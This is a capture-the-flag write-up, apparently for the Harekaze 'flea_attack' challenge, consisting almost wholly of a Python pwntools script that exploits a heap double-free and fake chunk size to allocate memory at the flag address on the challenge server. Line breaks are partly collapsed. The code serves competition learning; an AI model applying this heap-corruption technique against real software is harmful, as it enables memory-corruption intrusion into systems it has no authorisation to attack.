Author: h3rcul35```from pwn import *
def add(size,name,verbose=0):    p.sendline("1")    p.sendline(str(size))    p.send(str(name))    if verbose==0:        p.recvuntil("Addr: ")    else:        print p.recvuntil("Addr: ")    return p.recv(7).strip("\n")
def delete(addr):    p.sendline("2")    p.sendline(str(addr))    p.recv()
#p=process('./flea_attack.elf')p=remote('problem.harekaze.com',20175)p.recv()comment="A"*94comment+=p8(0x71)
p.sendline(comment)p.recv()
chunk1=add(96,"aaaa")chunk2=add(96,"bbbb")add(96,"cccc")flag=0x204056
print "[+] Flag is at    "+hex(flag)print "[+] Chunk 1 is at 0x"+chunk1print "[+] Chunk 2 is at 0x"+chunk2
delete(chunk1)delete(chunk2)delete(chunk1)
add(96,p64(flag))add(96,"AAAA")add(96,"BBBB")#raw_input(str(p.proc.pid))p.interactive()#1#96#AAAAAAAAAAAAAAAAAAAAAAAAAA  ("A"*26)```